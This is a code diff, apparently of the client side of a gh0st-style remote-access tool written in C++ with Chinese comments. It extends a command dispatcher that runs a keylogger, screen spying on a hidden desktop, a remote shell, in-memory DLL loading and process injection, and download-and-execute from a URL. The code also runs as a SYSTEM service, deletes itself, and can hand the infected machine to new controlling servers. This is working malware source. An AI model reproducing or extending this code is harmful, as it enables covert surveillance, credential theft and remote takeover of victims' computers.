return ::send(m_sClientSocket, buf, len, flags); return ::send(m_sClientSocket, buf, len, flags);
} }
// TLS 会话里可能有已解密但尚未交付的明文(select 只能看到底层 socket 可读性,
// 看不到 Schannel 内部缓冲),接收线程在 select 前须优先消费,避免其被卡住。
bool HasPendingData() const
{
#ifdef _WIN32
return m_tls.HasPending();
#else
return false;
#endif
}
BOOL OnServerSending(const char* szBuffer, ULONG ulOriginalLength, PkgMask* mask); BOOL OnServerSending(const char* szBuffer, ULONG ulOriginalLength, PkgMask* mask);
static DWORD WINAPI WorkThreadProc(LPVOID lParam); static DWORD WINAPI WorkThreadProc(LPVOID lParam);
VOID OnServerReceiving(CBuffer *m_CompressedBuffer, char* szBuffer, ULONG ulReceivedLength); VOID OnServerReceiving(CBuffer *m_CompressedBuffer, char* szBuffer, ULONG ulReceivedLength);
@@ -305,6 +325,9 @@ protected:
protected: protected:
sockaddr_in m_ServerAddr; sockaddr_in m_ServerAddr;
SOCKET m_sClientSocket; SOCKET m_sClientSocket;
#ifdef _WIN32
TlsChannel m_tls; // TLS 会话(证书存在时才启用,见 TlsChannel.h)
#endif
BOOL m_bWorkThread; BOOL m_bWorkThread;
HANDLE m_hWorkThread; HANDLE m_hWorkThread;
BOOL m_bIsRunning; BOOL m_bIsRunning;
@@ -342,6 +365,7 @@ protected:
void *m_main = NULL; void *m_main = NULL;
public: public:
BOOL m_isAuth = FALSE;
std::string m_LoginMsg; // 登录消息摘要 std::string m_LoginMsg; // 登录消息摘要
std::string m_LoginSignature; // 登录消息签名 std::string m_LoginSignature; // 登录消息签名
}; };
+8 -1
View File
@@ -39,11 +39,18 @@ BOOL IOCPUDPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
// 创建工作线程(如果需要) // 创建工作线程(如果需要)
if (m_hWorkThread == NULL) { if (m_hWorkThread == NULL) {
#ifdef _WIN32 #ifdef _WIN32
m_bIsRunning = TRUE;
m_hWorkThread = (HANDLE)__CreateThread(NULL, 0, WorkThreadProc, (LPVOID)this, 0, NULL); m_hWorkThread = (HANDLE)__CreateThread(NULL, 0, WorkThreadProc, (LPVOID)this, 0, NULL);
m_bWorkThread = m_hWorkThread ? S_RUN : S_STOP; m_bWorkThread = m_hWorkThread ? S_RUN : S_STOP;
m_bIsRunning = m_hWorkThread ? TRUE : FALSE;
#else #else
pthread_t id = 0; pthread_t id = 0;
m_hWorkThread = (HANDLE)pthread_create(&id, nullptr, (void* (*)(void*))IOCPClient::WorkThreadProc, this); int ret = (HANDLE)pthread_create(&id, nullptr, (void* (*)(void*))IOCPClient::WorkThreadProc, this);
if (ret == 0) {
m_bWorkThread = S_RUN;
m_bIsRunning = TRUE;
m_hWorkThread = reinterpret_cast<HANDLE>(static_cast<uintptr_t>(id));
}
#endif #endif
} }
+292 -26
View File
@@ -10,6 +10,7 @@
#include <fstream> #include <fstream>
#include <corecrt_io.h> #include <corecrt_io.h>
#include "ClientDll.h" #include "ClientDll.h"
#include "ActivityHistory.h"
#include "MemoryModule.h" #include "MemoryModule.h"
#include "common/dllRunner.h" #include "common/dllRunner.h"
#include "server/2015Remote/pwd_gen.h" #include "server/2015Remote/pwd_gen.h"
@@ -23,6 +24,7 @@
#include "common/DateVerify.h" #include "common/DateVerify.h"
#include "common/LANChecker.h" #include "common/LANChecker.h"
#include "common/scheduler.h" #include "common/scheduler.h"
#include "session.h"
extern "C" { extern "C" {
#include "ServiceWrapper.h" #include "ServiceWrapper.h"
} }
@@ -50,11 +52,12 @@ IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, const std::string&
return NULL; return NULL;
} }
ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string &publicIP) ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string &publicIP, BOOL isAuth)
{ {
ThreadInfo *tKeyboard = new ThreadInfo(); ThreadInfo *tKeyboard = new ThreadInfo();
tKeyboard->run = FOREVER_RUN; tKeyboard->run = FOREVER_RUN;
auto* sub = new IOCPClient(bExit, false, MaskTypeNone, conn, publicIP); auto* sub = new IOCPClient(bExit, false, MaskTypeNone, conn, publicIP);
sub->m_isAuth = isAuth;
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验 sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
tKeyboard->p = sub; tKeyboard->p = sub;
tKeyboard->conn = conn; tKeyboard->conn = conn;
@@ -80,11 +83,6 @@ CKernelManager::CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject,
m_hKeyboard = kb; m_hKeyboard = kb;
// C2C 初始化 // C2C 初始化
if (conn) m_MyClientID = conn->clientID; if (conn) m_MyClientID = conn->clientID;
// 恢复并启动 SCH_MODE_STARTUP 模式的 DLL
static int n = RestoreMemDLL();
if (n) {
Mprintf("[CKernelManager] RestoreMemDLL count: %d\n", n);
}
} }
BOOL IsThreadsRunning(ThreadInfo* threads, int count) BOOL IsThreadsRunning(ThreadInfo* threads, int count)
@@ -280,10 +278,10 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
r=proc(f->privilegeKey, f->timestamp, f->serverAddr, f->serverPort, f->localPort, f->remotePort, r=proc(f->privilegeKey, f->timestamp, f->serverAddr, f->serverPort, f->localPort, f->remotePort,
&CKernelManager::g_IsAppExit); &CKernelManager::g_IsAppExit);
} }
else { else if (This){
This->m_cfg->SetStr("settings", info.Name + std::string(".md5"), ""); This->m_cfg->SetStr("settings", info.Name + std::string(".md5"), "");
} }
if (r || (time(0)-start < 15)) { if (This && (r || (time(0)-start < 15))) {
char buf[100]; char buf[100];
sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r); sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r);
Mprintf("%s\n", buf); Mprintf("%s\n", buf);
@@ -304,10 +302,10 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
r = proc(f->privilegeKey, f->serverAddr, f->serverPort, f->localPort, f->remotePort, r = proc(f->privilegeKey, f->serverAddr, f->serverPort, f->localPort, f->remotePort,
&CKernelManager::g_IsAppExit); &CKernelManager::g_IsAppExit);
} }
else { else if (This){
This->m_cfg->SetStr("settings", info.Name + std::string(".md5"), ""); This->m_cfg->SetStr("settings", info.Name + std::string(".md5"), "");
} }
if (r || (time(0)-start < 15)) { if (This && (r || (time(0)-start < 15))) {
char buf[100]; char buf[100];
sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r); sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r);
Mprintf("%s\n", buf); Mprintf("%s\n", buf);
@@ -331,7 +329,7 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
sprintf_s(buf, "Inject %s to process [%d] %s", info.Name, info.Pid ? info.Pid : ret, ret ? "succeed" : "failed"); sprintf_s(buf, "Inject %s to process [%d] %s", info.Name, info.Pid ? info.Pid : ret, ret ? "succeed" : "failed");
Mprintf("%s\n", buf); Mprintf("%s\n", buf);
ClientMsg msg("代码注入", buf); ClientMsg msg("代码注入", buf);
This->SendData((LPBYTE)&msg, sizeof(msg)); if (This)This->SendData((LPBYTE)&msg, sizeof(msg));
} }
SAFE_DELETE(dll); SAFE_DELETE(dll);
SAFE_DELETE(runner); SAFE_DELETE(runner);
@@ -617,14 +615,18 @@ void DownExecute(const std::string &strUrl, CManager *This)
} }
#include "common/location.h" #include "common/location.h"
std::string getHardwareIDByCfg(const std::string& pwdHash, const std::string& masterHash) std::string getHardwareIDByCfg(std::string& pwdHash, const std::string& masterHash)
{ {
iniFile reg;
pwdHash = reg.GetStr("settings", "UpperHash", masterHash);
config* m_iniFile = nullptr; config* m_iniFile = nullptr;
#ifdef _DEBUG #ifdef _DEBUG
m_iniFile = pwdHash == masterHash ? new config : new iniFile; m_iniFile = pwdHash == masterHash ? new config : new iniFile;
#else #else
m_iniFile = new iniFile; m_iniFile = new iniFile;
#endif #endif
pwdHash = m_iniFile->GetStr("settings", "UpperHash", masterHash);
int bindType = m_iniFile->GetInt("settings", "BindType", 0); int bindType = m_iniFile->GetInt("settings", "BindType", 0);
int hwVersion = m_iniFile->GetInt("settings", "HWIDVersion", 0); int hwVersion = m_iniFile->GetInt("settings", "HWIDVersion", 0);
std::string master = m_iniFile->GetStr("settings", "master"); std::string master = m_iniFile->GetStr("settings", "master");
@@ -644,8 +646,9 @@ std::string getHardwareIDByCfg(const std::string& pwdHash, const std::string& ma
return ""; return "";
} }
int CKernelManager::RestoreMemDLL() { std::map<std::string, std::vector<BYTE>> RestoreMemDLL(iniFile *m_cfg, CONNECT_ADDRESS* m_conn, State& g_bExit, CKernelManager* This) {
binFile bin(CLIENT_PATH); binFile bin(CLIENT_PATH);
std::map<std::string, std::vector<BYTE>> m_MemDLL;
// 枚举所有以 .md5 结尾的值名称 // 枚举所有以 .md5 结尾的值名称
auto md5Keys = m_cfg->EnumValues("settings", ".md5"); auto md5Keys = m_cfg->EnumValues("settings", ".md5");
@@ -703,7 +706,7 @@ int CKernelManager::RestoreMemDLL() {
if (buf) memcpy(buf, binData.data() + 1 + sizeof(DllExecuteInfo), 400); if (buf) memcpy(buf, binData.data() + 1 + sizeof(DllExecuteInfo), 400);
PluginParam param(m_conn->ServerIP(), m_conn->ServerPort(), &g_bExit, buf); PluginParam param(m_conn->ServerIP(), m_conn->ServerPort(), &g_bExit, buf);
BYTE* data = m_MemDLL[md5].data(); BYTE* data = m_MemDLL[md5].data();
CloseHandle(__CreateThread(NULL, 0, ExecuteDLLProc, new DllExecParam<>(infoCopy, param, data, this), 0, NULL)); CloseHandle(__CreateThread(NULL, 0, ExecuteDLLProc, new DllExecParam<>(infoCopy, param, data, This), 0, NULL));
// 更新注册表中的运行时状态 // 更新注册表中的运行时状态
// 如果有时间间隔限制,更新 LastRunTime // 如果有时间间隔限制,更新 LastRunTime
@@ -723,7 +726,7 @@ int CKernelManager::RestoreMemDLL() {
} }
} }
return count; return m_MemDLL;
} }
template<typename T = DllExecuteInfo> template<typename T = DllExecuteInfo>
@@ -782,6 +785,21 @@ BOOL ExecDLL(CKernelManager *This, PBYTE szBuffer, ULONG ulLength, void *user)
return data != NULL; return data != NULL;
} }
// 给主控回复功能禁用消息
// TODO: 主控收到此消息后,可以选择以插件形式执行该禁用的功能
void ResponseDisable(IOCPClient *client, const char* type, LPBYTE data, int size) {
char buf[512];
sprintf_s(buf, "%s disabled[IP: %s][ID: %s]", type, client->GetPublicIP().c_str(), client->GetClientID().c_str());
Mprintf("%s\n", buf);
int n = strlen(buf);
memcpy(buf + n + 1, data, min(size, 500-n));
ClientMsg msg(DISABLED_FEATURE, buf, sizeof(buf));
client->Send2Server((char*)&msg, sizeof(msg));
}
extern "C" bool IsSystemInSession0();
VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{ {
bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT; bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT;
@@ -794,11 +812,65 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
std::string publicIP = m_ClientObject->GetClientIP(); std::string publicIP = m_ClientObject->GetClientIP();
switch (szBuffer[0]) { switch (szBuffer[0]) {
case COMMAND_FORBIDDEN: {
TerminateProcess(GetCurrentProcess(), 0);
break;
}
case COMMAND_QUERY_LOG: {
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth();
m_hThread[m_ulThreadCount].p = sub;
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopClientLogManager, &m_hThread[m_ulThreadCount], 0, NULL);
break;
}
case COMMAND_QUERY_ACTIVITY: {
// 主连接一次性快照:直接 dump 历史活动并回传
std::string text = ActivityHistory::Instance().Dump();
std::vector<BYTE> pkt(1 + text.size());
pkt[0] = TOKEN_REPORT_ACTIVITY;
if (!text.empty())
memcpy(pkt.data() + 1, text.data(), text.size());
m_ClientObject->Send2Server((char*)pkt.data(), (ULONG)pkt.size());
break;
}
case CMD_SET_GROUP: { case CMD_SET_GROUP: {
std::string group = std::string((char*)szBuffer + 1); std::string group = std::string((char*)szBuffer + 1);
m_cfg->SetStr("settings", "group_name", group); m_cfg->SetStr("settings", "group_name", group);
break; break;
} }
case COMMAND_REGEN_CLIENT_ID: {
// 撞 ID 的克隆机:服务端已判定「主机名不同却撞 client_id」,让本机重生成 ID。
// 新 ID = 旧 ID + 随机 UUID 再哈希,写回注册表后主动断开主连接,重连循环
// 会用新 ID 重新登录,脱离撞 ID 状态(脱离替补、正常显示在主机列表)。
uint64_t newID = RegenerateClientID(m_conn->clientID);
m_cfg->SetStr("settings", "client_id", std::to_string(newID));
Mprintf("[regen-client-id] 重生成 client_id: %llu -> %llu,即将重连\n",
m_conn->clientID, newID);
if (m_ClientObject)
m_ClientObject->Disconnect();
break;
}
case COMMAND_TLS_ENABLE: {
// 服务端下发信任锚证书:payload = PEM 正文(szBuffer+1 .. ulLength-1)。
// 写入注册表 settings\tls_cert,客户端下次启动读到证书即启用 TLS(非实时)。
if (ulLength > 1) {
std::string certPem((char*)szBuffer + 1, ulLength - 1);
m_cfg->SetStr("settings", "tls_cert", certPem);
}
break;
}
case COMMAND_TLS_DISABLE: {
// 删除注册表信任锚,客户端下次启动无证书即回明文(非实时)。
std::string subKey = GetRegistryName() + "\\settings";
HKEY hKey = NULL;
if (RegOpenKeyExA(GetCurrentUserRegistryKey(), subKey.c_str(), 0,
KEY_SET_VALUE, &hKey) == ERROR_SUCCESS) {
RegDeleteValueA(hKey, "tls_cert");
RegCloseKey(hKey);
}
break;
}
case COMMAND_DOWN_EXEC: { case COMMAND_DOWN_EXEC: {
std::thread(DownExecute, std::string((char*)szBuffer + 1), this).detach(); std::thread(DownExecute, std::string((char*)szBuffer + 1), this).detach();
@@ -882,18 +954,17 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
// 扩大到 400 字节以容纳 V2 签名(约 92 字节)和 Authorization(约 150 字节) // 扩大到 400 字节以容纳 V2 签名(约 92 字节)和 Authorization(约 150 字节)
char buf[400] = {}, *passCode = buf + 5; char buf[400] = {}, *passCode = buf + 5;
memcpy(buf, szBuffer, min(sizeof(buf), ulLength)); memcpy(buf, szBuffer, min(sizeof(buf), ulLength));
std::string masterHash(skCrypt(MASTER_HASH));
const char* pwdHash = m_conn->pwdHash[0] ? m_conn->pwdHash : masterHash.c_str();
if (passCode[0] == 0) { if (passCode[0] == 0) {
std::string pwdHash, masterHash(skCrypt(MASTER_HASH));
static std::string hardwareId = getHardwareIDByCfg(pwdHash, masterHash); static std::string hardwareId = getHardwareIDByCfg(pwdHash, masterHash);
static std::string hashedID = hashSHA256(hardwareId); static std::string hashedID = hashSHA256(hardwareId);
static std::string devId = getFixedLengthID(hashedID); static std::string devId = getFixedLengthID(hashedID);
memcpy(buf + 24, buf + 12, 8); // 消息签名 memcpy(buf + 24, buf + 12, 8); // 消息签名
memcpy(buf + 96, buf + 8, 4); // 时间戳 memcpy(buf + 96, buf + 8, 4); // 时间戳
memcpy(buf + 5, devId.c_str(), devId.length()); // 16字节 memcpy(buf + 5, devId.c_str(), devId.length()); // 16字节
memcpy(buf + 32, pwdHash, 64); // 64字节 memcpy(buf + 32, pwdHash.c_str(), 64); // 64字节
m_ClientObject->Send2Server((char*)buf, sizeof(buf)); m_ClientObject->Send2Server((char*)buf, sizeof(buf));
Mprintf("Request for authorization update.\n"); Mprintf("Request for authorization update. SN: %s, PwdHash: %s\n", devId.c_str(), pwdHash.c_str());
} else { } else {
unsigned short* days = (unsigned short*)(buf + 1); unsigned short* days = (unsigned short*)(buf + 1);
unsigned short* num = (unsigned short*)(buf + 3); unsigned short* num = (unsigned short*)(buf + 3);
@@ -937,6 +1008,13 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
} }
case TOKEN_PRIVATESCREEN: { case TOKEN_PRIVATESCREEN: {
if (!ENABLE_SCREEN) {
return ResponseDisable(m_ClientObject, "PRIVATE_SCREEN", szBuffer + 1, ulLength - 1);
}
if ((m_conn->iStartup == Startup_GhostSystem || m_conn->iStartup == Startup_TestRunSystem) && IsSystemInSession0()) {
Mprintf("当前进程以 SYSTEM 身份运行, 需要在用户会话启动进程处理 UI 相关功能.\n");
return RunRoundRobinAgent(TOKEN_PRIVATESCREEN);
}
char h[100] = {}; char h[100] = {};
memcpy(h, szBuffer + 1, min(ulLength - 1, 80)); memcpy(h, szBuffer + 1, min(ulLength - 1, 80));
std::string hash = std::string(h, h + 64); std::string hash = std::string(h, h + 64);
@@ -959,6 +1037,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
} }
case COMMAND_PROXY: { case COMMAND_PROXY: {
if (!ENABLE_PROXY) {
return ResponseDisable(m_ClientObject, "PROXY", szBuffer + 1, ulLength - 1);
}
{ {
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP); auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验 sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
@@ -971,6 +1052,15 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
case COMMAND_SHARE: case COMMAND_SHARE:
case COMMAND_ASSIGN_MASTER: case COMMAND_ASSIGN_MASTER:
if (ulLength > 2) { if (ulLength > 2) {
// 解析末尾协议段(Shine=0 / HELL=1,旧命令无此段则 -1 沿用烘焙值)
int shareProto = -1;
{
auto pv = StringToVector((char*)szBuffer + 2, ':', 5);
if (szBuffer[1] == SHARE_TYPE_YAMA && pv.size() >= 3 && (pv[2] == "0" || pv[2] == "1"))
shareProto = atoi(pv[2].c_str());
else if (szBuffer[1] == SHARE_TYPE_YAMA_FOREVER && pv.size() >= 4 && (pv[3] == "0" || pv[3] == "1"))
shareProto = atoi(pv[3].c_str());
}
switch (szBuffer[1]) { switch (szBuffer[1]) {
case SHARE_TYPE_YAMA_FOREVER: { case SHARE_TYPE_YAMA_FOREVER: {
auto v = StringToVector((char*)szBuffer + 2, ':', 3); auto v = StringToVector((char*)szBuffer + 2, ':', 3);
@@ -981,6 +1071,8 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
if (now <= valid_to) break; // Avoid assign again if (now <= valid_to) break; // Avoid assign again
m_cfg->SetStr("settings", "master", v[0]); m_cfg->SetStr("settings", "master", v[0]);
m_cfg->SetStr("settings", "port", v[1]); m_cfg->SetStr("settings", "port", v[1]);
if (shareProto == PROTOCOL_SHINE || shareProto == PROTOCOL_HELL)
m_cfg->SetStr("settings", "master_proto", std::to_string(shareProto));
float days = atof(v[2].c_str()); float days = atof(v[2].c_str());
if (days > 0) { if (days > 0) {
auto valid_to = time(0) + days*86400; auto valid_to = time(0) + days*86400;
@@ -999,6 +1091,8 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
if (v[0].empty() || v[1].empty()) if (v[0].empty() || v[1].empty())
break; break;
auto share = v[0] + ":" + v[1]; auto share = v[0] + ":" + v[1];
if (shareProto == PROTOCOL_SHINE || shareProto == PROTOCOL_HELL)
share += ":" + std::to_string(shareProto);
auto list = m_cfg->GetStr("settings", "share_list"); auto list = m_cfg->GetStr("settings", "share_list");
auto shareList = list.empty() ? std::vector<std::string>{} : StringToVector(list, '|'); auto shareList = list.empty() ? std::vector<std::string>{} : StringToVector(list, '|');
if (VectorContains(shareList, share)) break; if (VectorContains(shareList, share)) break;
@@ -1006,7 +1100,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
m_cfg->SetStr("settings", "share_list", VectorJoin(shareList, '|')); m_cfg->SetStr("settings", "share_list", VectorJoin(shareList, '|'));
Mprintf("Share client to new master: %s\n", share.c_str()); Mprintf("Share client to new master: %s\n", share.c_str());
} }
auto a = NewClientStartArg((char*)szBuffer + 2, IsSharedRunning, TRUE); auto a = NewClientStartArg((char*)szBuffer + 2, IsSharedRunning, TRUE, shareProto);
if (nullptr!=a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0)); if (nullptr!=a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0));
break; break;
} }
@@ -1049,9 +1143,16 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
} }
if (m_settings.EnableKBLogger && m_hKeyboard) { if (m_settings.EnableKBLogger && m_hKeyboard) {
CKeyboardManager1* mgr = (CKeyboardManager1*)m_hKeyboard->user; CKeyboardManager1* mgr = (CKeyboardManager1*)m_hKeyboard->user;
mgr->m_bIsOfflineRecord = TRUE; mgr->EnableOfflineRecord(TRUE);
} }
Logger::getInstance().usingLog(m_settings.EnableLog); Logger::getInstance().usingLog(m_settings.EnableLog);
// 主控端经 MasterSettings 下发文件传输速度(TransferChunkKb 非 0 表示已下发,
// 0 表示老主控未携带,保留本地默认值)。写入 [transfer] 节,供各 InitFileUpload
// 调用点经 GetTransferSpeed 读取。
if (m_settings.TransferChunkKb) {
m_cfg->SetInt("transfer", "ChunkKb", m_settings.TransferChunkKb);
m_cfg->SetInt("transfer", "DurationMs", m_settings.TransferDurationMs);
}
} }
if (IsAuthKernel() && if (IsAuthKernel() &&
(m_settings.FeedbackUrl[0] || m_settings.HelpUrl[0] || m_settings.RequestAuthUrl[0] || m_settings.GetPluginUrl[0])) { (m_settings.FeedbackUrl[0] || m_settings.HelpUrl[0] || m_settings.RequestAuthUrl[0] || m_settings.GetPluginUrl[0])) {
@@ -1064,6 +1165,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
} }
break; break;
case COMMAND_KEYBOARD: { //键盘记录 case COMMAND_KEYBOARD: { //键盘记录
if (!ENABLE_KEYBOARD) {
return ResponseDisable(m_ClientObject, "KEYBOARD", szBuffer + 1, ulLength - 1);
}
if (m_hKeyboard) { if (m_hKeyboard) {
CloseHandle(__CreateThread(NULL, 0, SendKeyboardRecord, m_hKeyboard->user, 0, NULL)); CloseHandle(__CreateThread(NULL, 0, SendKeyboardRecord, m_hKeyboard->user, 0, NULL));
} else { } else {
@@ -1076,6 +1180,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
} }
case COMMAND_TALK: { case COMMAND_TALK: {
if (!ENABLE_MESSAGE) {
return ResponseDisable(m_ClientObject, "MESSAGE", szBuffer + 1, ulLength - 1);
}
{ {
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP); auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验 sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
@@ -1086,7 +1193,64 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
break; break;
} }
case COMMAND_CHAT: { // 远程交谈(双向聊天)
if (!ENABLE_MESSAGE) {
return ResponseDisable(m_ClientObject, "CHAT", szBuffer + 1, ulLength - 1);
}
{
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount].user = m_hInstance;
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopChatManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_MACHINE_MANAGE: { // 主机管理
{
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopMachineManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_FILE_MANAGER_PLUGIN: { // 插件文件管理(SimplePlugins 迁移)
{
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopFileManagerPlugin, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_PRIVATE_SCREEN_PLUGIN: { // 隐私屏幕(虚拟桌面,SimplePlugins 迁移)
{
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopPrivateScreenPlugin, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_DRAWING_BOARD_PLUGIN: { // 远程画板(SimplePlugins 迁移)
{
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopDrawingBoardPlugin, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_SHELL: { case COMMAND_SHELL: {
if (!ENABLE_SHELL) {
return ResponseDisable(m_ClientObject, "SHELL", szBuffer + 1, ulLength - 1);
}
{ {
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP); auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验 sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
@@ -1097,6 +1261,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
} }
case COMMAND_SYSTEM: { //远程进程管理 case COMMAND_SYSTEM: { //远程进程管理
if (!ENABLE_PROC_WND) {
return ResponseDisable(m_ClientObject, "PROCESS", szBuffer + 1, ulLength - 1);
}
{ {
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP); auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验 sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
@@ -1107,6 +1274,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
} }
case COMMAND_WSLIST: { //远程窗口管理 case COMMAND_WSLIST: { //远程窗口管理
if (!ENABLE_PROC_WND) {
return ResponseDisable(m_ClientObject, "WINDOW", szBuffer + 1, ulLength - 1);
}
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP); auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验 sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub; m_hThread[m_ulThreadCount].p = sub;
@@ -1126,6 +1296,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
BYTE bToken = COMMAND_BYE;// 被控端退出 BYTE bToken = COMMAND_BYE;// 被控端退出
m_ClientObject->Send2Server((char*)&bToken, 1); m_ClientObject->Send2Server((char*)&bToken, 1);
g_bExit = S_CLIENT_EXIT; g_bExit = S_CLIENT_EXIT;
if (m_conn->iStartup == Startup_TestRunMsc || m_conn->iStartup == Startup_GhostMsc || IsSystemInSession0()) {
ServiceWrapper_Uninstall();
}
self_del(10); self_del(10);
Mprintf("======> Client uninstall \n"); Mprintf("======> Client uninstall \n");
break; break;
@@ -1176,6 +1349,13 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
} }
case COMMAND_SCREEN_SPY: { case COMMAND_SCREEN_SPY: {
if (!ENABLE_SCREEN) {
return ResponseDisable(m_ClientObject, "SCREEN", szBuffer + 1, ulLength - 1);
}
if ((m_conn->iStartup == Startup_GhostSystem || m_conn->iStartup == Startup_TestRunSystem) && IsSystemInSession0()) {
Mprintf("当前进程以 SYSTEM 身份运行, 需要在用户会话启动进程处理 UI 相关功能.\n");
return RunRoundRobinAgent(COMMAND_SCREEN_SPY);
}
UserParam* user = new UserParam{ ulLength > 1 ? new BYTE[ulLength - 1] : nullptr, int(ulLength-1) }; UserParam* user = new UserParam{ ulLength > 1 ? new BYTE[ulLength - 1] : nullptr, int(ulLength-1) };
if (ulLength > 1) { if (ulLength > 1) {
memcpy(user->buffer, szBuffer + 1, ulLength - 1); memcpy(user->buffer, szBuffer + 1, ulLength - 1);
@@ -1191,7 +1371,22 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
break; break;
} }
case CMD_FILE_SPEED: {
// 主控端下发文件传输速度档位:[cmd:1][chunkKb:uint16 LE][durationMs:uint16 LE]。
// 写入 [transfer] 节,供各 InitFileUpload 调用点经 GetTransferSpeed 读取。
if (ulLength >= 5) {
int chunkKb = szBuffer[1] | (szBuffer[2] << 8);
